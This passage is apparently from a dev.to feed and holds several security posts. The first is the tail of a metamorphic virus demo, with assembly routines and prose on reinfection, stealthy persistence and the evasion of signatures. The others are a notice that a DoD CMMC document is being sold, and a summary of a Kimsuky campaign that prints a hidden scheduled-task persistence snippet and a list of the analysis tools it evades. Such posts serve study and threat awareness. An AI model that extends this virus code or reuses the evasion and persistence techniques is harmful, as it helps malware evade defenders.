    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;r_buf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;temp_buf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;read_code:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;read_f&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;extract_v:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;read_f&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.err_v&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.size_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;

&lt;span class="nl"&gt;.size_ok:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.ext_done&lt;/span&gt;

&lt;span class="nl"&gt;.err_v:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.ext_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  This Is Only the Foundation
&lt;/h3&gt;

&lt;p&gt;Its purpose is to demonstrate core mechanisms, not to claim coverage of a complete system. Metamorphic and polymorphic engines go far deeper than what is shown here. What we have now is a starting point — sufficient to prove the concept, but still far from full-spectrum capability.&lt;/p&gt;

&lt;p&gt;Currently, the mutation engine only processes its own defined junk patterns. It does not touch arbitrary instruction sequences. It also only supports basic register replacement so far. Features such as instruction reordering, control-flow rewriting, and logical substitution are absent.&lt;/p&gt;

&lt;p&gt;Mutation patterns are hard-coded. There is no adaptive behavior. Propagation logic is also kept simple.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnxrf1y5n8gc6pv5cohf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnxrf1y5n8gc6pv5cohf.png" alt=" " width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  vx-mutation-demo
&lt;/h3&gt;

&lt;p&gt;Each generation becomes different at the byte level, yet does the same things. What changes is the &lt;em&gt;implementation&lt;/em&gt;, not the &lt;em&gt;behavior&lt;/em&gt;. This is exactly why it shatters static signatures.&lt;/p&gt;

&lt;p&gt;As the VX repeatedly reinfects, the code drifts further from its original form. The hidden backup mechanism helps it stay low-profile. The original file continues to run normally, allowing the VX to persist quietly.&lt;/p&gt;

&lt;p&gt;Of course, these capabilities come at a cost: CPU and memory consumption, and doubled storage usage due to backups.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Possibilities —
&lt;/h3&gt;

&lt;p&gt;If you want to push further, you will need a larger pattern library, smarter runtime self-analysis, clean syscall abstraction for cross-platform support, and deeper code analysis with control-flow and data-flow mapping.&lt;/p&gt;

&lt;p&gt;Combine it with polymorphism: encrypted payload + deformable code structure creates a layered system. Surface randomization, internal concealment, final behavior invariant. The adversary will find almost no stable anchor points.&lt;/p&gt;

&lt;p&gt;Metamorphic code proves that software can continuously evolve its own implementation while keeping its goals unchanged.&lt;/p&gt;

&lt;p&gt;I recommend running the code inside a debugger rather than executing it blindly. Set breakpoints and step down into the assembly layer to inspect exactly what is being generated. This is the best way to catch subtle anomalies.&lt;/p&gt;

&lt;p&gt;That’s all for now — see you next time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;:&lt;br&gt;&lt;br&gt;
This blog post is provided solely for educational and research purposes. All technical details and code examples are intended to help defenders understand attack techniques and improve security posture. Please do not use this information to access or interfere with systems you do not own or lack explicit permission to test. Unauthorized use may violate laws and ethical standards. The author assumes no responsibility for any misuse or damage resulting from the application of the concepts discussed.&lt;/p&gt;




</description>
      <category>malware</category>
      <category>algorithms</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Thu, 09 Apr 2026 13:47:43 +0000</pubDate>
      <link>https://dev.to/excalibra/confidential-us-department-of-defense-cmmc-cybersecurity-briefing-document-leaked-on-the-dark-549p</link>
      <guid>https://dev.to/excalibra/confidential-us-department-of-defense-cmmc-cybersecurity-briefing-document-leaked-on-the-dark-549p</guid>
      <description>&lt;p&gt;&lt;strong&gt;[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A threat actor has claimed to be selling a U.S. Department of Defense (DoD) &lt;strong&gt;CMMC&lt;/strong&gt; cybersecurity briefing document. The document focuses on the core elements of the &lt;strong&gt;CMMC 2.0&lt;/strong&gt; framework, including its implementation processes, compliance requirements, and supporting systems. It serves as a standardized cybersecurity compliance guidance document targeted at Defense Industrial Base (DIB) contractors.&lt;/p&gt;

&lt;p&gt;This file functions both as an &lt;strong&gt;“implementation guide”&lt;/strong&gt; for CMMC 2.0 and as a &lt;strong&gt;“compliance checklist”&lt;/strong&gt; for contractors. By clearly defining processes, standards, and boundaries of responsibility, it helps drive the Defense Industrial Base from “passive defense” toward “proactive risk management.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Details of the leaked content are as follows:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Partial leaked data samples&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1.1. Sample data  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4tju867ji2zzuewgahg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4tju867ji2zzuewgahg.png" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.2. Sample data  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4j0om0g7c16h0kkjzso.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4j0om0g7c16h0kkjzso.png" alt=" " width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.3. Sample data  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F336ay5hqbzyfevh7guuj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F336ay5hqbzyfevh7guuj.png" alt=" " width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.4. Sample data&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnuu6wbg5d808ldh130gq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnuu6wbg5d808ldh130gq.png" alt=" " width="800" height="446"&gt;&lt;/a&gt;&lt;/p&gt;




</description>
      <category>leaked</category>
      <category>cybersecurity</category>
      <category>documentation</category>
      <category>darkweb</category>
    </item>
    <item>
      <title>North Korea-Linked Hackers Use GitHub as C2 Infrastructure to Attack South Korea</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Wed, 08 Apr 2026 04:10:35 +0000</pubDate>
      <link>https://dev.to/excalibra/north-korea-linked-hackers-use-github-as-c2-infrastructure-to-attack-south-korea-47aa</link>
      <guid>https://dev.to/excalibra/north-korea-linked-hackers-use-github-as-c2-infrastructure-to-attack-south-korea-47aa</guid>
      <description>&lt;h3&gt;
  
  
  Executive Summary
&lt;/h3&gt;

&lt;p&gt;FortiGuard Labs has identified a sophisticated multi-stage attack campaign attributed to the North Korea-linked threat actor &lt;strong&gt;Kimsuky&lt;/strong&gt;. The group is abusing &lt;strong&gt;GitHub&lt;/strong&gt; as a living-off-the-land Command and Control (C2) infrastructure to target South Korean organizations.  &lt;/p&gt;

&lt;p&gt;The attack chain starts with obfuscated Windows Shortcut (&lt;strong&gt;LNK&lt;/strong&gt;) files delivered via phishing emails. These LNK files deploy decoy PDF documents while silently executing PowerShell scripts in the background. The scripts perform anti-analysis checks, establish persistence through scheduled tasks, and exfiltrate collected data to GitHub repositories using hardcoded access tokens. Additional modules and commands are also retrieved from the same GitHub repositories.&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqvo9z0wg2oj4bp47u6e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqvo9z0wg2oj4bp47u6e.png" alt="Decoy PDF" width="800" height="314"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;Decoy PDF&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;This campaign highlights the increasing trend of state-sponsored actors abusing legitimate cloud platforms and native Windows tools (LOLBins) to lower detection rates and maintain long-term access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attack Chain Breakdown
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Initial Access&lt;/strong&gt;
Phishing emails deliver obfuscated &lt;strong&gt;LNK&lt;/strong&gt; files. When opened, victims see a legitimate-looking PDF document while a malicious PowerShell script runs silently in the background.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbg9me7pu0zuuarfccz54.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbg9me7pu0zuuarfccz54.png" alt="LNK file with PowerShell script" width="800" height="266"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;LNK file with PowerShell script&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3m8sykrjxlti4d0gdcdr.png" class="article-body-image-wrapper"&gt;&lt;img width="800" height="301" alt="image" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3m8sykrjxlti4d0gdcdr.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F79y8dprsxb56ph4fodx5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F79y8dprsxb56ph4fodx5.png" alt="LNK files with fixed metadata" width="468" height="82"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;LNK files with fixed metadata&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyvazjd7vmz783nxaf2a9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyvazjd7vmz783nxaf2a9.png" alt="LNK files with fixed metadata" width="800" height="323"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;LNK file with encoded data&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcoy5gmdo2st5ziffgpht.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcoy5gmdo2st5ziffgpht.png" width="468" height="401"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;Decoy PDF&lt;/em&gt;
&lt;/p&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Anti-Analysis &amp;amp; Evasion&lt;/strong&gt;
The PowerShell script scans for virtual machines, debuggers, and forensic tools. If any are detected, the script immediately terminates.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It searches for a broad range of analysis software, including “vmxnet,” “vmusrvc,” “vmsrvc,” “vmtoolsd,” “vmwaretray,” “vboxservice,” “vboxtray,” “idaq,” “idaq64,” “autoruns,” “dumpcap,” “de4dot,” “hookexplorer,” “ilspy,” “lordpe,” “dnspy,” “petools,” “autorunsc,” “resourcehacker,” “filemon,” “regmon,” “procexp,” “procexp64,” “tcpview,” “tcpview64,” “Procmon,” “Procmon64,” “vmmap,” “vmmap64,” “portmon,” “processlasso,” “Wireshark,” “Fiddler Everywhere,” “Fiddler,” “ida,” “ida64,” “ImmunityDebugger,” “WinDump,” “x64dbg,” “x32dbg,” “OllyDbg,” and “ProcessHacker.” If any of these processes are detected, the script immediately terminates to prevent analysis by security researchers.&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdmo1ouad9nlm2hdfpltl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdmo1ouad9nlm2hdfpltl.png" width="468" height="278"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;Checks running process&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdjmhfs03sh913wv4nxcq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdjmhfs03sh913wv4nxcq.png" width="468" height="97"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;Dropped VBS script&lt;/em&gt;
&lt;/p&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Persistence&lt;/strong&gt;
If the environment is clean, the script extracts a Visual Basic Script (VBScript) and creates a scheduled task that runs the PowerShell payload every 30 minutes in a hidden window. This ensures execution after system reboots.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-ScheduledTaskAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Execute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'wscript.exe'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Argument&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$vbsFilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$trigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-ScheduledTaskTrigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Once&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-At&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-Date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;AddMinutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-RepetitionInterval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;New-TimeSpan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Minutes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;30&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$settings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-ScheduledTaskSettingsSet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Hidden&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Register-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Technical Paper for Creata Chain Task S-1-12-12-3-1231241245BVSKLERh-SD234GHSI56"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Trigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$trigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Settings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$settings&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Data Collection &amp;amp; Exfiltration&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3azbcb76phti9x3t034t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3azbcb76phti9x3t034t.png" width="468" height="439"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;Extracts system information and uploads to Github&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;The script gathers host information, saves results to a log file, and exfiltrates the data to GitHub repositories under attacker-controlled accounts, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;motoralis&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;God0808RAMA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pigresy80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;entire73&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pandora0009&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;brandonleeodd93-blip&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
  &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftd7m1tlt499rz70buwjp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftd7m1tlt499rz70buwjp.png" alt="Attacker’s GitHub" width="800" height="588"&gt;&lt;/a&gt;
  &lt;br&gt;
  &lt;em&gt;Attacker’s GitHub&lt;/em&gt;
&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;C2 via GitHub&lt;/strong&gt;
The same GitHub repositories are used to store additional modules and commands, allowing operators to maintain persistent control over compromised systems while blending into trusted platforms.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
